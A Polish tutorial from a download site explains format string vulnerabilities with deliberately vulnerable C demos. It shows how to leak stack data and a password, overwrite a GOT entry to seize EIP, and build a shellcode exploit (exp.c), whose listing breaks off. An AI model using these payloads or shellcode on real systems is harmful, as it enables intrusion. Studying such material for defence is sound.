software center, download, programy, pliki, teledyski, mp3
Menu główne


line strona główna
line darmowy download
line baza artykułów i porad
line kontakt z nami
Programy
line Systemy
line Artykuły PDF

Security

line Skanery
line Sniffery
line Security

Windows

line Użytkowe
line Przeglądarki graficzne
line Kodeki
line Narzędzia plikowe
line Narzędzia dyskowe
line Narzędzia systemowe
line Sterowniki
line Szyfrowanie danych
line Zarządzanie hasłami
line Zarządzanie rejestrem
line Łaty i Patche
line Zarządzanie pamięcią
line Synchronizacja czasu
line Nagrywanie płyt
line Free Antivirus (Darmowe Antyvirusy)
line Sterowniki
line Obróbka dźwięku
line Edycja wideo

Internetowe

line Bezpieczeństwo
line Programy p2p
line Komunikatory
line Dodatki do przeglądarek
line Klienty poczty elektronicznej
line Narzędzia Antyspamowe
line Przeglądarki grup dyskusyjnych
line Przeglądarki Offline
line Serwery poczty elektronicznej
line Telefonia komórkowa
line Wyszukiwarki internetowe
line Zdalny dostęp
line Cybernianie
line Klienty FTP
line Narzędzia internetowe
line Prywatnośc
line Przeglądarki internetowe
line Serwery FTP
line Serwery WWW
line Wspomagacze ściągania
line Zarządzanie siecią lokalną

Tuning Systemu

line Diagnostyka i testowanie
line Inne
line Rozszerzenia pulpitu
line Tapety na pulpit
line Tuning Systemu
line Ikony
line Powłoki
line Tuning sprzętu
line Wygaszacze ekranu

Programowanie

line Kompilatory
line Biblioteki i komponenty
line Bazy danych
line Edytory programistyczne
line Środowiska programistyczne
line Debugery
line Tworzenie wersji instalacyjnych

Webmastering

line Użytkowe
line Kursy

Linux

line Użytkowe
line Internetowe
line Multimedialne

Programy biurowe

line Programy dla firm
line Pakiety biurowe
line Administracja
line Edytory tekstu
line Grafika prezentacyjna
line Kadry i płace
line Wspomaganie projektowania
line Zarządzanie projektami
line Bazy danych
line Finanse i księgowośc
line Handel
line Programy ewidencyjne
line Zarządzanie informacją osobistą (PIM)
Nasze serwisy

Programy download
Bramka SMS
Download
Gry
Gry Online
Linux
Muzyka
Newsy
Programowanie
Program TV
Śmieszne Filmy
Teledyski
Kobiety


Artykuły > Bezpieczeństwo > Błędy łańcuchów formatujących (format string)

Błędy łańcuchów formatujących (format string)

by h07 (h07@interia.pl).

 

Intro.

 

Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach,

których parametrem jest łańcuch formatujący) umożliwiają wypełnianie

łańcuchów znakowych odpowiednimi danymi.

 

Przykład..

 

//printf.c

 

int main()

{

int cena = 65;

 

printf("Ksiazka kosztuje %d zl\n", cena);

 

return 0;

}

 

[h07@MD5 format]$ gcc -o printf printf.c

[h07@MD5 format]$ ./printf

Ksiazka kosztuje 65 zl

 

Rezultatem działania przykladowego programu printf.c jest wyświetlenie

łańcucha znakowego wypełnionego danymi w sposób określony przez

programistę. Specyfikator %d umożliwia wyświetlenie wartości typu całkowitego

w systemie dziesiętnym. W naszym przypadku argumentem

specyfikatora %d była zmienna int cena.

 

Błędy łańcuchów formatujących występują wówczas gdy

ilość specyfikatrów jest wieksza od ilości odpowiadających im

argumentów. Brakujące wartości pobierane są ze stosu

co w rezultacie umożliwia hakerowi podejżenie zawartości stosu

w celu odczytania istotnych danych lub przejęcia kontroli nad

wykonywaniem programu.

 

Podgląd zawartości stosu.

 

Przykładowy program fmt.c podatny jest na atak ciągu formatującego.

Użyta w nim funkcja snprintf() nie zawiera formatera, co w rezultacie

daje nam możliwość wprowadzenia z zewnątrz własnego łańcucha formatującego.

 

//fmt.c

 

int main(int argc, char *argv[])

{

char buffer[512];

 

if(argc > 1)

 

 {

 snprintf(buffer, sizeof(buffer) -1, argv[1]);

 printf("%s\n", buffer);

 }

 

return 0;

}

 

[h07@MD5 format]$ gcc -o fmt fmt.c

[h07@MD5 format]$ ./fmt "%d %d %d %d %d %d %d %d %d %d"

0 0 0 0 0 540024880 540024880 875896880 875704368 540031032

 

Do programu fmt.c wprowadzono 10 specyfikatorów %d, dla których

nie określono argumentów zawierających wartości całkowite.

Konsekwencją tego było odczytanie brakujących danych ze stosu

i wyświetlenie ich w systemie dziesiętnym..

 

0 0 0 0 0 540024880 540024880 875896880 875704368 540031032

 

Specyfikator %x umożliwia wyświetlenie wartości w systemie 16-stkowym..

 

[h07@MD5 format]$ ./fmt "%x %x %x %x %x %x %x %x %x %x"

0 0 0 0 0 20302030 20302030 30322030 30323033 32203033

 

Możliwe jest zatem pobieranie danych ze stosu ale jak praktycznie to wykorzystać ? ..

 

//format.c

 

int main(int argc, char *argv[])

{

char buffer[150];

char *password = "hello world";

 

if(argc == 1 || strlen(argv[1]) > 100) {

printf("usege: %s <password>\n", argv[0]);

exit(0); }

 

if(strcmp(argv[1], password) == 0)

 

printf("Password ok\n");

 

else

 

 {

 sprintf(buffer, "Access denied, bad password: %s\n", argv[1]);

 printf(buffer);

 }

 

return 0;

}

 

Powyzszy program podatny jest na błąd łańcucha formatującego.

 “Standardowo” weryfikuje on poprawność hasła,

po czym wyświetla stosowny komunikat. Jeśli w tablicy argv[1]

umiescimy dodatkowe specyfikatory to brakujące dane zostaną pobrane

ze stosu (w tym nasz tajne hasło “hello world”).

Aby odczytac dane ze stosu w postaci łańcucha znakowego posłużymy sie

specyfikatorem %s, którego argument jest wskaźnikiem do łańcucha znaków.

 

 

[h07@MD5 format]$ for((i = 1; i <= 30; i++)); do echo -n "[$i] : " && ./format "[%$i\$x] = '%$i\$s'"; done

[1] : Access denied, bad password: [8048618] = 'Access denied, bad password: %s

'

[2] : Access denied, bad password: [bffff80f] = '[%2$x] = '%2$s''

[3] : Segmentation fault

[4] : Access denied, bad password: [0] = '(null)'

[5] : Access denied, bad password: [0] = '(null)'

[6] : Access denied, bad password: [40033bcc] = ''

[7] : Access denied, bad password: [4002ebb4] = ''

[8] : Access denied, bad password: [40026384] = ''

[9] : Access denied, bad password: [40015128] = ''

[10] : Segmentation fault

[11] : Access denied, bad password: [80485e8] = 'hello world'

[12] : Segmentation fault

[13] : Segmentation fault

[14] : Segmentation fault

[15] : Segmentation fault

[16] : Segmentation fault

[17] : Segmentation fault

[18] : Segmentation fault

[19] : Segmentation fault

[20] : Segmentation fault

[21] : Segmentation fault

[22] : Segmentation fault

[23] : Segmentation fault

'24] : Access denied, bad password: [40015408] = ii

[25] : Segmentation fault

[26] : Access denied, bad password: [0] = '(null)'

[27] : Segmentation fault

[28] : Access denied, bad password: [40014998] = 'ŘS@'

[29] : Access denied, bad password: [0] = '(null)'

[30] : Access denied, bad password: [bffff5a4] = '¸ő˙'

 

Wykonując powyzsze polecenie odczytalismy dane ze stosu (przesuniecie względem szczytu

stosu określane jest poprzez zmienną iteracyjną i). Korzystając ze specyfikatorów

%x i %s ("[%$i\$x] = '%$i\$s'") odczytaliśmy zarówno wartości

szesnastkowe jak i łańcuchy znakowe.

 

Nasze “tajne hasło” zostało odczytane podczas 11 iteracji pętli

 

[11] : Access denied, bad password: [80485e8] = 'hello world'

 

Możemy teraz odczytać nasze hasło stosując metodę bezpośredniego

dostępu do parametru.

 

[h07@MD5 format]$ ./format "%11\$s"

Access denied, bad password: hello world

[h07@MD5 format]$ ./format "hello world"

Password ok

 

Przejęcie kontroli nad wykonywaniem programu.

 

Wykorzystanie błędów łańcuchów formatujących do przejęcia

kontroli nad wykonywaniem programu nie jest rzeczą łatwą.

Przede wszystkim musimy zapoznać sie ze specyfikatorem %n.

Ów specyfikator umieszcza ilość wyprowadzonych przed nim

znaków w adresie pamięci określonym przez argument.

Jeśli nie określimy argumentu dla sprecyfikatora %n, pobierze

on brakujące dane ze stosu traktując je jako adres pod którym

zostanie zapisana liczba wybprowadzonych przed nim znaków.

Konsekwencją tego bedzie nadpisanie niedozwolonych obszarów

pamięci czyli błąd segmentacji.

 

[h07@MD5 format]$ ./fmt "AAAA%n"

Segmentation fault

 

I co dalej?

 

Jeśli odnajdziemy przesunięcie względem szczytu stosu w którym

znajduje sie nasz łańcuch znakowy (wypełniony konkretnym adresem)

wprowadzany do programu i “zmusimy” specyfikator %n by pobrał

 nasz łańcuch jako argument to da nam to możliwośc zapisu

 liczby wyprowadzonych znaków przed specyfikatorem %n

w dowolnym miejscu pamięci.

 

[h07@MD5 format]$ ./fmt "AAAABBBB %x %x %x %x %x %x %x %x %x %x"

AAAABBBB 0 0 0 0 0 41414141 42424242 30203020 30203020 34203020

 

[h07@MD5 format]$ ./fmt "AAAA %x %x %x %x %x %x"

AAAA 0 0 0 0 0 41414141

 

[h07@MD5 format]$ ./fmt "AAAA%6\$x"

AAAA41414141

 

Widzimy że początek naszego łańcucha znakowego znajduje sie w

szóstym przesunięciu względem szczytu stosu. Oznacza to, iż

potrzebujemy sześciu specyfikatorów %x aby uzyskać 16-stkową

reprezentacja łańcucha znakowego AAAA czyli 41414141.

Użyjmy teraz specyfikatora %n zamiast %x i zobaczmy

co się stanie..

 

[h07@MD5 format]$ gdb fmt

 

(gdb) r "AAAA%6\$n"

Starting program: /home/h07/format/fmt "AAAA%6\$n"

 

Program received signal SIGSEGV, Segmentation fault.

0x40060272 in vfprintf () from /lib/tls/libc.so.6

(gdb) info reg

eax 0xf  15

ecx 0x41414141 1094795585

edx 0x0 0

ebx 0x4013f218 1075048984

esp 0xbfffe5d0 0xbfffe5d0

ebp 0xbffff25c 0xbffff25c

esi 0xbfffe5f0 -1073748496

edi  0x4 4

eip 0x40060272 0x40060272

eflags 0x210246 2163270

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

 

(gdb) x/1i $eip

0x40060272 <vfprintf+14642>: mov %edi,(%ecx)

 

Próbowaliśmy zapisać wartość 0x4 pod adresem 0x41414141.

Przed specyfikatorem %n umieściliśmy cztery znaki (AAAA)

dlatego rejestr EDI ma wartość 0x4.

 

Jednym ze sposobów zmiany sterowania programu jest

modyfikacja wartości umieszczonej pod adresem funkcji

znajdującej sie w tabeli GOT (Global Offset Table). Do

takich funkcji należy między innymi funkcja printf() i pierwszym

krokiem jest ustalenie jej adresu.

 

[h07@MD5 format]$ objdump -R fmt

 

fmt: file format elf32-i386

 

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

080495e0 R_386_GLOB_DAT __gmon_start__

080495d4 R_386_JUMP_SLOT __libc_start_main

080495d8 R_386_JUMP_SLOT printf

080495dc R_386_JUMP_SLOT snprintf

 

W naszym przypadku funkcja printf() ma adres 080495d8.

Ponieważ procesory zapisują adresy zaczynając od bajtów

mniej znaczących musimy odwrócić kolejność bajtów adresu

wprowadzanego do łańcucha formatującego.

 

080495d8 = \xd8\x95\x04\x08

 

Spróbujmy zatem nadpisac ten adres wartością 0x4 i

zobaczmy co się stanie..

 

[h07@MD5 format]$ gdb fmt

 

(gdb) r $'\xd8\x95\x04\x08%6$n'

Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%6$n'

 

Program received signal SIGSEGV, Segmentation fault.

0x00000004 in ?? ()

(gdb) info reg

eax 0xbffff3b0 -1073744976

ecx 0xbffff320 -1073745120

edx 0x4 4

ebx 0x4013f218 1075048984

esp 0xbffff38c 0xbffff38c

ebp  0xbffff5b8 0xbffff5b8

esi 0xbffff644 -1073744316

edi 0xbffff5d0 -1073744432

eip 0x4 0x4

eflags 0x210292 2163346

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

 

Bingo ;) Sterowanie zostało zmienione.

Rejestr sterujący EIP przyjoł wartość 0x4 co spodowało

skok do adresu 0x00000004.

 

Dlaczego 0x4 skoro nie wprowadziliśmy znaków AAAA ?

Ponieważ przed specyfikatorem %n umieściliśmy 4-bajtowy

adres \xd8\x95\x04\x08 (\bajt\bajt\bajt\bajt).

 

Możemy wywnioskować ze długość łańcucha formatującego

w systemie dziesiętnym odpowiada wartości rejetru EIP

w systemie szesnastkowym. Spróbujmy zatem nadpisac

rejestr EIP wartością 0x4141.

 

//convert.c

 

int main()

{

int RET = 0x4141;

 

printf("Length: %d\n", RET -4);

 

return 0;

}

 

[h07@MD5 format]$ gcc -o convert convert.c

[h07@MD5 format]$ ./convert

Length: 16701

 

[h07@MD5 format]$ gdb fmt

 

(gdb) r $'\xd8\x95\x04\x08%16701x%6$n'

Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%16701x%6$n'

 

Program received signal SIGSEGV, Segmentation fault.

0x00004141 in ?? ()

(gdb) info reg eip

eip 0x4141 0x4141

 

Program convert.c zamienił wartość 16-stkową 0x4141 na system

dziesiętny odejmując długość łańcucha formatującego czyli 4 (4-bajtowy adres)

Uzyskaliśmy wartość 16701, która wprowadzona do łańcucha formatującego

dała rezultat nadpisania rejestru EIP wartością 0x4141.

 

Sytuacja nieco się komplikuje gdy chcemy nadpisac rejestr EIP

pełnym (4-bajtowym) adresem np. 0x41414242. Musimy rozbić

ów adres na dwie części i zapisać pierwszą z nich w adresie

funkcji printf() a drugą część bezpośrednio pod tym adresem

(adres funkcji printf + 2 [ 080495d8 +2 = 080495da = \xda\x95\x04\x08 ]).

Do tego celu użyjemy specyfikatora %hn, który umożliwia zapisanie

wartości 16-bitowej (2-bajtowej).

 

jeśli A < B

 

r $'\xda\x95\x04\x08\xd8\x95\x04\x08%( A )x%6$hn%( B – A )x%7$hn'

 

jeśli A > B

 

r $'\xd8\x95\x04\x08\xda\x95\x04\x08%( B )x%6$n%( A – B )x%7$n'

 

Powyzej przedstawiony został prosty schemat ustalający długość

łańcucha formatującego tak by uzyskane wartości powodowały

napisanie rejestru EIP konkretnym adresem. Przykład..

 

Adres = 0x41414242

Długość łańcucha = 8

 

A = hex: 4141 = dec: 16705

B = hex: 4242 = dec: 16962

 

(A < B)

 

A: 16705 - 8 = 16697

B: 16962 – 16697 – 8 = 257

 

(gdb) r $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn'

Starting program: /home/h07/format/fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn'

 

Program received signal SIGSEGV, Segmentation fault.

0x41414242 in ?? ()

(gdb) info reg eip

eip 0x41414242 0x41414242

 

 

 

Adres = 0x42424141

Długość łańcucha = 8

 

A = hex: 4242 = dec: 16962

B = hex: 4141 = dec: 16705

 

(A > B)

 

B: 16705 - 8 = 16697

A: 16962 – 16697 – 8 = 257

 

(gdb) r $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n'

Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n'

 

Program received signal SIGSEGV, Segmentation fault.

0x42424141 in ?? ()

(gdb) info reg eip

eip 0x42424141 0x42424141

 

Potrafimy już napisac rejestr EIP dowolnym adresem więc nadszedł

czas napisać exploit który wykorzysta błąd łańcucha formatującego

w programie fmt.c uruchamiając kod powłoki.

 

 

//exp.c (format string exploit demo) by h07

 

#include <stdio.h>

 

#define BUFF_SIZE 1000

#define LEN 8

#define NOP 0x90

 

char buffer[BUFF_SIZE];

char fmt[80];

 

char shellcode[] =

 

"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"

"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69"

"\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a";

 

unsigned long get_esp()

{

__asm__("movl %esp,%eax");

}

 

int main(int argc, char *argv[])

{

unsigned long RET, offset = 0;

unsigned int A, B;

 

if(argc > 1) offset = atoi(argv[1]);

RET = get_esp() - offset;

 

A = (RET & 0xffff0000) >> 16;

B = (RET & 0x0000ffff);

 

printf("\nRET: 0x%x\n", RET);

 

if(A < B)

 

 {

 A -= LEN;

 sprintf(fmt, "$'\\xda\\x95\\x04\\x08\\xd8\\x95\\x04\\x08"

 "%%%ux%%6$hn"

 "%%%ux%%7$hn'", A, (B - A) -LEN);

 } else

 

 {

 B -= LEN;

 sprintf(fmt, "$'\\xd8\\x95\\x04\\x08\\xda\\x95\\x04\\x08"

 "%%%ux%%6$hn"

 "%%%ux%%7$hn'", B, (A - B) -LEN);

 } 

 

if((sizeof(fmt) + sizeof(shellcode)) > BUFF_SIZE)

 

 {

 printf("Error: buffer too small..\n");

 exit(1);

 }

 

memset(buffer, NOP, BUFF_SIZE -1); 

memcpy(buffer, "EXP=", 4);

memcpy(buffer + BUFF_SIZE -1 - strlen(shellcode), shellcode, strlen(shellcode));

putenv(buffer);

 

printf("\nformat string: %s\n\n", fmt);

 

system("/bin/bash");

komentarz[2] |

programy download hacking program tv bramka sms teledyski kody do gier
trailery filmiki gry online antywirusy artykuły tutoriale systemy
© 2006-2009 haksior.com. Wszelkie prawa zastrzeżone.
Design by jPortal.info
0.033 |